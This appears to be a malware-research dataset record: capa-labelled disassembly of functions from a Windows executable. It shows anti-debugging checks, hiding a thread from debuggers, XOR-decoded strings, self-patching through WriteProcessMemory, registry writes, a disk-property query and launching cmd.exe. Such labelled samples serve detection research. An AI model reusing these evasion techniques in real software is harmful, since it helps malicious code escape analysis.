joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003fea0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rbx
push r14
mov rbp, rsp
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [0x140168010]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [0x1403a1020]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [0x1403a1038]
mov rcx, rbx
mov qword [0x1403a1028], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [0x1403a1050]
mov rcx, rbx
mov qword [0x1403a1040], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov qword [0x1403a1058], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [reloc.WS2_32.dll_gethostname], 0
mov rbx, rax
movsd xmm0, qword [str.ZAR_T9]
mov ecx, dword [0x14016de38]
movsd qword [rbp - 0x10], xmm0
mov dword [rbp - 8], ecx
je 0x14003ff67
xor word [rbp - 0xe], 0x35
mov eax, WSAGetLastError
xor word [rbp - 0xc], 0x36
xor word [rbp - 0xa], 0x37
xor word [rbp - 8], 0x38
xor word [rbp - 6], 0x39
mov word [rbp - 0x10], ax
lea rdx, [rbp - 0x10]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x14003ffd1
cmp word [reloc.WS2_32.dll_gethostname], 0
movsd xmm0, qword [str.zart9]
mov eax, dword [0x14016d200]
movsd qword [rbp - 0x10], xmm0
mov dword [rbp - 8], eax
je 0x14003ffbb
xor word [rbp - 0xe], 0x35
mov eax, Ordinal_79
xor word [rbp - 0xc], 0x36
xor word [rbp - 0xa], 0x37
xor word [rbp - 8], 0x38
xor word [rbp - 6], 0x39
mov word [rbp - 0x10], ax
lea rdx, [rbp - 0x10]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x140040060
mov qword [rsp + 0x68], rsi
lea rbx, [0x1403a1028]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], r15
xor r15d, r15d
mov esi, r15d
nop dword [rax]
mov r8, qword [rbx + 8]
lea rax, [rbp + 0x20]
mov rdx, qword [rbx]
mov r9d, 0x40
mov rcx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdx, qword [rbx]
mov rcx, r14
mov r9, qword [rbx + 8]
mov r8, rdx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, dword [rbp + 0x20]
mov rcx, r14
mov r8, qword [rbx + 8]
mov edi, eax
mov rdx, qword [rbx]
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test edi, edi
je 0x140040051
inc esi
add rbx, 0x18
cmp esi, 3
jb 0x14003fff0
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov r15, qword [rsp + 0x78]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x40
pop r14
pop rbx
pop rbp
ret
Function at 0x140041ad0
Capabilities:
Encode data using xor
Print debug messages

Disassembly:
push rbx
sub rsp, 0x30
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [0x14016b898]
xor ebx, ebx
cmp byte [0x14016b89d], bl
movsd xmm0, qword [str.fPpX]
mov dword [rsp + 0x28], eax
movzx eax, word [0x14016b89c]
mov word [rsp + 0x2c], ax
movsd qword [rsp + 0x20], xmm0
je 0x140041c3d
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, ebx
jl 0x140041c04
movdqa xmm2, xmmword [0x14016f710]
mov ecx, 8
movdqa xmm4, xmmword [0x14016f900]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016f740]
psubd xmm2, xmm0
movd xmm0, dword [str.fPpX]
andps xmm2, xmmword [0x14016f760]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
movdqa xmm2, xmmword [0x14016f730]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016f740]
psubd xmm2, xmm0
movd xmm0, dword [rsp + 0x24]
andps xmm2, xmmword [0x14016f760]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
xorps xmm2, xmm0
movd dword [rsp + 0x24], xmm2
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x140041c10
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
setne bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret
Function at 0x140045b10
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x60
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [0x140168010]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movups xmm0, xmmword [str.nBgB_KChENJZ__b__7____L]
movzx ecx, byte [0x14016dc50]
xor ebx, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
mov r9, rax
movups xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x48], cl
mov ecx, ebx
movsd xmm0, qword [0x14016dc48]
movsd qword [rsp + 0x40], xmm0
jl 0x140045c8b
movdqa xmm0, xmmword [str.4444444444444444]
lea rdx, [rsp + 0x34]
movdqa xmm4, xmmword [0x14016f710]
movdqa xmm3, xmmword [0x14016f900]
movdqa xmm5, xmmword [0x14016f740]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x14016f760]
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm4
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x140045ba0
movaps xmm6, xmmword [rsp + 0x50]
cmp ecx, 0x19
jge 0x140045ccd
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x19
jl 0x140045ca0
lea rdx, [rsp + 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rdx, [rsp + 0x70]
mov r8d, 2
mov ecx, reloc.WLDAP32.dll_Ordinal_35
call rax
test eax, eax
jne 0x140045d03
cmp byte [rsp + 0x70], bl
je 0x140045d03
cmp byte [rsp + 0x71], bl
sete bl
mov eax, ebx
add rsp, 0x60
pop rbx
ret
Function at 0x140045db0
Capabilities:
Check for debugger via api

Disassembly:
push rbp
sub rsp, 0xa0
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov dword [rbp], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rbp], 0
je 0x140045f15
movabs rax, 0xd74caaacc299fc21
movabs rcx, 0xdaf40e281c80c3c8
mov qword [rbp + 8], rax
xorps xmm2, xmm2
mov rax, qword [rbp + 8]
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x20], rax
movabs rax, 0x6fd0f66e2fd95d9
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28], rax
movabs rax, 0xd106f6115ac37752
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x30], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x38], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x40], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x48], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 8], rcx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x58], rax
lea rax, [rbp + 0x20]
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vxorps xmm0, xmm0, xmm0
vmovdqu xmmword [rbp + 0x50], xmm0
vmovdqa ymmword [rbp + 0x20], ymm1
vmovups xmmword [rbp + 0x40], xmm2
vzeroupper
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140045ec0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x40]
call fcn.14007b810
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140045f15
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045f10
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045f10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e2280
add rsp, 0xa0
pop rbp
ret

Function at 0x1400464b0
Capabilities:
Hide thread from debugger

Disassembly:
sub rsp, 0x28
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140046510
lea rdx, str.NtSetInformationThread
mov qword [rsp + 0x20], rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14004650b
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
mov rax, rbx
mov rbx, qword [rsp + 0x20]
add rsp, 0x28
jmp rax
mov rbx, qword [rsp + 0x20]
add rsp, 0x28
ret

Function at 0x140046520
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
mov ecx, 0xbeef
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14004653a
test ebx, ebx
je 0x140046547
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x20
pop rbx
ret
Function at 0x140046570
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str._s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x140046583
add rsp, 0x28
ret
Function at 0x140047da0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rbx, rcx
lea r8, [0x140169a14]
call fcn.14007a250
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], reloc.WS2_32.dll_WSASetLastError
mov dword [rsp + 0x24], 0x40
xor ebp, ebp
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x30], rbp
lea rax, str.cmd.exe
mov qword [rsp + 0x38], rax
mov rax, rbx
lea rdi, [rbx + 0x18]
cmp qword [rdi], 0xf
jbe 0x140047e2a
mov rax, qword [rbx]
lea rsi, [rbx + 0x18]
jmp 0x140047e2d
mov rsi, rdi
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rbp
mov dword [rsp + 0x50], ebp
mov qword [rsp + 0x58], rbp
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140047e62
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0xb8]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rdi]
cmp rdx, 0xf
jbe 0x140047ec3
inc rdx
mov rcx, qword [rbx]
mov rdi, rsi
cmp rdx, 0x1000
jb 0x140047ebe
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140047ee4
mov rcx, r8
lea rdi, [rbx + 0x18]
call fcn.1400e2280
mov qword [rbx + 0x10], rbp
mov qword [rdi], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rbx, qword [rsp + 0xc0]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14004bcf0
Capabilities:
Get storage device properties

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x70
xor r14d, r14d
mov dword [rax - 0x58], r14d
lea r15, [0x1403a26b8]
mov qword [rax - 0x50], r15
mov qword [rax - 0x68], r14
mov dword [rax - 0x70], r14d
mov dword [rax - 0x78], 3
xor r9d, r9d
xor edx, edx
mov r8d, 3
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14004bd70
xorps xmm0, xmm0
movups xmmword [0x1403a26b8], xmm0
mov qword [0x1403a26c8], r14
mov qword [0x1403a26d0], 0xf
mov byte [0x1403a26b8], r14b
jmp 0x14004bf09
lea rax, [sub.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x54], r14
mov dword [rsp + 0x50], r14d
mov qword [rsp + 0xa8], r14
mov dword [rsp + 0xa0], r14d
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 8
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov r9d, recv
lea r8, [rsp + 0x50]
mov edx, 0x2d1400
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x14004be0e
xorps xmm0, xmm0
movups xmmword [0x1403a26b8], xmm0
mov qword [0x1403a26c8], r14
mov qword [0x1403a26d0], 0xf
mov byte [0x1403a26b8], al
mov dword [rsp + 0x40], 1
jmp 0x14004befa
mov edi, dword [rsp + 0xac]
mov ecx, edi
call fcn.1400e22b4
mov rbp, rax
mov r8d, edi
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0xb0], rbp
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbp
mov r9d, recv
lea r8, [rsp + 0x50]
mov edx, 0x2d1400
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x14004bea1
xorps xmm0, xmm0
movups xmmword [0x1403a26b8], xmm0
mov qword [0x1403a26c8], r14
mov qword [0x1403a26d0], 0xf
mov byte [0x1403a26b8], al
mov dword [rsp + 0x40], 1
mov rcx, rbp
call fcn.1400e2280
nop
jmp 0x14004befa
mov eax, dword [rbp + 0x18]
test eax, eax
jne 0x14004bedd
xorps xmm0, xmm0
movups xmmword [0x1403a26b8], xmm0
mov qword [0x1403a26c8], r14
mov qword [0x1403a26d0], 0xf
mov byte [0x1403a26b8], al
mov dword [rsp + 0x40], 1
mov rcx, rbp
call fcn.1400e2280
nop
jmp 0x14004befa
lea rdx, [rax + rbp]
mov rcx, r15
call fcn.14007a3b0
mov dword [rsp + 0x40], 1
mov rcx, rbp
call fcn.1400e2280
nop
test rsi, rsi
je 0x14004bf09
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, r15
mov rbx, qword [rsp + 0xb8]
add rsp, 0x70
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14004c8b0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
sub rsp, 0xd0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
movabs rax, 0xf86b8486e2b7d52c
lea rdx, [rbp + 0x20]
mov qword [rbp], rax
mov rbx, rcx
mov rax, qword [rbp]
xor ecx, ecx
mov qword [rbp + 0x20], rax
xor r9d, r9d
mov qword [rsp + 0x40], rcx
movabs rax, 0x3fcb265ecee5fcea
mov qword [rbp], rax
xor r8d, r8d
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xa155d6580e825d7e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xdaf40e5a79e6aca7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xdaf40e281c80c3c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
lea rax, [rbp]
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000001
vmovdqa ymmword [rbp + 0x20], ymm1
vzeroupper
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14004ca09
lea rcx, [0x1403a2770]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x14004c9d5
inc eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rdx, rbx
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0xe0]
add rsp, 0xd0
pop rbp
ret
Function at 0x14004ca20
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
movabs rax, 0xf86b8486e2b7d52c
lea rdx, [rbp + 0x20]
mov qword [rbp + 8], rax
mov rbx, rcx
mov rax, qword [rbp + 8]
mov r9d, 0x20019
mov qword [rbp + 0x20], rax
xor r8d, r8d
movabs rax, 0x3fcb265ecee5fcea
mov rcx, 0xffffffff80000001
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28], rax
movabs rax, 0xa155d6580e825d7e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x30], rax
movabs rax, 0xdaf40e5a79e6aca7
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x38], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x40], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x48], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x50], rax
movabs rax, 0xdaf40e281c80c3c8
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x58], rax
lea rax, [rbp + 8]
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
mov qword [rsp + 0x20], rax
vzeroupper
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14004cb83
mov rcx, qword [rbp + 8]
lea rax, [rbp]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 4]
lea rax, [0x1403a2770]
mov dword [rbp], 0x40
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14004cb79
cmp dword [rbp + 4], 1
jne 0x14004cb79
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rbp
ret
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rbp
ret
Function at 0x1400792e0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140079301
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14007932e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140079330
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140079389
test ecx, ecx
jle 0x140079369
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140079389
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140079389
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add eax, dword [rax + rcx]
add al, 4
or dword [0x14b2b92e1], eax
invalid
Function at 0x1400793b0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x1400793e1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x1400793f8
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14007941b
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14007941d
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140079459
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x1400794ee
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140079494
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x1400794ce
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x1400794ee
cmp rbx, rax
ja 0x1400794a0
test rbx, rbx
je 0x1400794ee
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
adc byte [rdx], cl
xor eax, 0xb0526d9
add eax, 0x3070a08
add eax, dword [rdx]
add dword [rdi], eax
add al, 4
or byte [rbx], al
add eax, 0x805070d
add eax, 0x2020602
add dword [rdx], eax
add eax, 0x6030407
add eax, dword [rdi]
adc byte [rdi], al
add eax, dword [rdi]
add ecx, dword [rdx]
sbb byte [rcx], cl
add eax, 0x2010103
add ecx, dword [rcx]
add al, byte [rsi]